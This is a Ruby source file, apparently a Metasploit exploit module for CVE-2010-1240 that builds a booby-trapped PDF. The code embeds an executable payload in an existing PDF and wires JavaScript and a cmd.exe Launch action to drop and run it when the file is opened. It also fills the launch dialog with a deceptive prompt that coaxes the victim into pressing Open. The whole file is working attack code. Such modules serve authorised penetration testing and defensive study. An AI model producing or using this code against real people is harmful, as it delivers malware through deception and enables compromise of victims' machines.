##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::PDF_Parse
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'Adobe PDF Embedded EXE Social Engineering',
      'Description' 	=> %q{
          This module embeds a Metasploit payload into an existing PDF file. The
        resulting PDF can be sent to a target as part of a social engineering attack.
      },
      'License'	=> MSF_LICENSE,
      'Author'	=>
        [
          'Colin Ames <amesc[at]attackresearch.com>', # initial module
          'jduck' # add Documents for vista/win7
        ],
      'References'     =>
        [
          [ 'CVE', '2010-1240' ],
          [ 'OSVDB', '63667' ],
          [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
          [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
          [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-15.html' ]
        ],
      'DisclosureDate' => 'Mar 29 2010',
      'Payload'	=>
        {
          'Space'			    => 2048,
          'DisableNops'		=> true,
          'StackAdjustment'	=> -3500,
        },
      'Platform'	=> 'win',
      'Targets'	=>
        [
          [ 'Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English)', { 'Ret' => '' } ]
        ],
      'DefaultTarget'	=> 0))

    register_options(
      [
        OptPath.new('INFILENAME', [ true, 'The Input PDF filename.', ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-1240', 'template.pdf') ]),
        OptString.new('EXENAME', [ false, 'The Name of payload exe.']),
        OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
        OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
          "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
      ], self.class)
  end

  def exploit

    file_name = datastore['INFILENAME']
    exe_name = datastore['EXENAME']

    print_status("Reading in '#{file_name}'...")
    stream = read_pdf()

    begin
      print_status("Parsing '#{file_name}'...")
      pdf_objects      = parse_pdf(stream)
      xref_trailers    = pdf_objects[0]
      trailers         = pdf_objects[1]
      startxrefs       = pdf_objects[2]
      root_obj         = pdf_objects[3]

      output = basic_social_engineering_exploit({
        :xref_trailers => xref_trailers,
        :root_obj => root_obj,
        :stream => stream,
        :trailers => trailers,
        :file_name => file_name,
        :exe_name => exe_name,
        :startxref => startxrefs.last
      })

      print_status("Parsing Successful. Creating '#{datastore['FILENAME']}' file...")
      file_create(output)
    rescue KeyError => e
      # Lazy fix:
      # Similar to the problem with NoMethod -- something we need is missing in the PDF.
      # But really what happens is the module trusts the PDF too much.
      print_error("Sorry, I'm picky. Incompatible PDF structure: #{e.message}. Please try a different PDF template.")
      elog("Call stack:\n#{$!.backtrace.join("\n")}")
    rescue NoMethodError => e
      # Lazy fix:
      # When a NoMethod error is hit, that means that something in the PDF is actually missing,
      # so we can't parse it. If we can't parse it properly, then we can't garantee the exploit
      # will work, either.  So we might as well just reject it.
      print_error("Sorry, I'm picky. Incompatible PDF structure, please try a different PDF template.")
      elog("Call stack:\n#{$!.backtrace.join("\n")}")
    end
  end


  def ef_payload(pdf_name,payload_exe,obj_num)

    if !(payload_exe and payload_exe.length > 0)
      print_status("Using '#{datastore['PAYLOAD']}' as payload...")

      payload_exe = generate_payload_exe
      file_size = payload_exe.length
      stream = Rex::Text.zlib_deflate(payload_exe)
      md5 = Rex::Text.md5(stream)

    else
      print_status("Using '#{datastore['EXENAME']}' as payload...")

      file_size = File.size(payload_exe)
      stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
      md5 = Rex::Text.md5(File.read(payload_exe))

    end

    output = String.new()

    output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
    output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>"
    output << "stream\r#{stream}\r\nendstream\rendobj\r"

    return output
  end

  def js_payload(pdf_name,obj_num)

    output = String.new()
    output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
    output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "

    # change to the home drive/path no matter what
    output << "%HOMEDRIVE%&cd %HOMEPATH%"

    # check for the pdf in these dirs, in this order..
    dirs = [ "Desktop", "My Documents", "Documents", "Escritorio", "Mis Documentos" ]
    dirs.each { |dir|
      fmt = "&"+
        "("+
          "if exist \"%s\" "+
            "(cd \"%s\")"+
        ")"
      fname = "%s\\\\#{pdf_name}.pdf" % dir
      output << fmt % [fname, dir]
    }
    launch_message = datastore['LAUNCH_MESSAGE']
    lines = []
    launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << $& }
    if (lines.length > 2)
      print_warning("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")
    end

    output << "&"+
      # note: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
      "(start #{pdf_name}.pdf)"+
      # note: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
      ("\n"*10) +
      launch_message+
      # note: this extra rparen is required.
      ")"+
      ">>>>\rendobj\r"

    return output

  end


  def basic_social_engineering_exploit(opts = {})

    xref_trailers = opts[:xref_trailers]
    root_obj = opts[:root_obj]
    stream = opts[:stream]
    trailers = opts[:trailers]
    file_name = opts[:file_name]
    exe_name = opts[:exe_name]
    startxref = opts[:startxref]

    file_name = file_name.split(/\//).pop.to_s

    match = file_name.match(/(.+)\.pdf/)
    if match
      pdf_name = match[1]
    end

    catalog = parse_object(xref_trailers,root_obj,stream)


    match = catalog.match(/Names (\d+ \d) R/m)
    if match

      names = parse_object(xref_trailers,match[1],stream)
      match = names.match(/EmbeddedFiles (\d+ \d) R/m)
      if match
        embedded_files = parse_object(xref_trailers,match[1],stream)
        new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
      else
        new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
      end

    else
      new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
    end

    if catalog.match(/OpenAction/m)

      match = catalog.match(/OpenAction (\d+ \d) R/m)
      if match
        open_action = "#{match[1]} R"

        if new_catalog
          if new_embedded_files
            new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
          elsif new_names
            new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
          else
            new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
          end
        else
          if new_embedded_files
            new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
          elsif new_names
            new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
          else
            new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
          end

        end
      else
        if new_catalog
          new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
        else
          new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
        end
      end
    else
      if new_catalog
        if new_embedded_files
          new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
        elsif new_names
          new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
        else
          new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
        end

      else
        if new_embedded_files
          new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
        elsif new_names
          new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
        else
          new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
        end
      end
    end

    pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
    pages = parse_object(xref_trailers,pages_obj,stream)

    page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
    page = parse_object(xref_trailers,page_obj,stream)

    match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
    while match

      page_obj = match[1]
      page = parse_object(xref_trailers,page_obj,stream)
      match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
    end

    match = page.match(/AA<<\/O (\d+ \d) R/m)
    if match
      aa = parse_object(xref_trailers,match[1],stream)
    end


    new_pdf = String.new()
    xrefs = String.new()


    if new_embedded_files
      pdf_payload = String.new()
      num = trailers[0].fetch("Size").to_i - 1
      pdf_payload << ef_payload(pdf_name,exe_name,num)
      pdf_payload << js_payload(pdf_name,num)
      new_pdf << stream << pdf_payload

      xrefs = xref_create(new_pdf,stream.length,"*")

      new_size = trailers[0].fetch("Size").to_i + 4

      if aa
        new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
      else
        new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
      end

      new_pdf << new_catalog
      xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

      new_pdf << new_page
      xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

      new_pdf << new_embedded_files
      xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")

      if trailers[0].has_key?("ID")
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
      else
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
      end

      new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

    elsif new_names
      pdf_payload = String.new()
      num = trailers[0].fetch("Size").to_i
      pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
      pdf_payload << ef_payload(pdf_name,exe_name,num)
      pdf_payload << js_payload(pdf_name,num)
      new_pdf << stream << pdf_payload

      xrefs = xref_create(new_pdf,stream.length,"*")

      new_size = trailers[0].fetch("Size").to_i + 5

      if aa
        new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
      else
        new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
      end

      new_pdf << new_catalog
      xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

      new_pdf << new_page
      xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

      new_pdf << new_names
      xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")

      if trailers[0].has_key?("ID")
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
      else
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
      end

      new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"


    else
      pdf_payload = String.new()
      num = trailers[0].fetch("Size").to_i + 1
      pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
      pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
      pdf_payload << ef_payload(pdf_name,exe_name,num)
      pdf_payload << js_payload(pdf_name,num)
      new_pdf << stream << pdf_payload
      xrefs = xref_create(new_pdf,stream.length,"*")

      new_size = trailers[0].fetch("Size").to_i + 6

      if aa
        new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
      else
        new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
      end

      new_pdf << new_catalog
      xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

      new_pdf << new_page
      xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

      if trailers[0].has_key?("ID")
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
      else
        new_pdf << "xref\r\n" << xrefs
        new_pdf << "trailer\r\n"
        new_pdf << "<</Size #{new_size}/Prev #{startxref}"
        new_pdf << "/Root #{trailers[0].fetch("Root")} R"
        new_pdf << "/Info #{trailers[0].fetch("Info")} R>>\r\n"
      end

      new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"


    end


    return new_pdf
  end
end
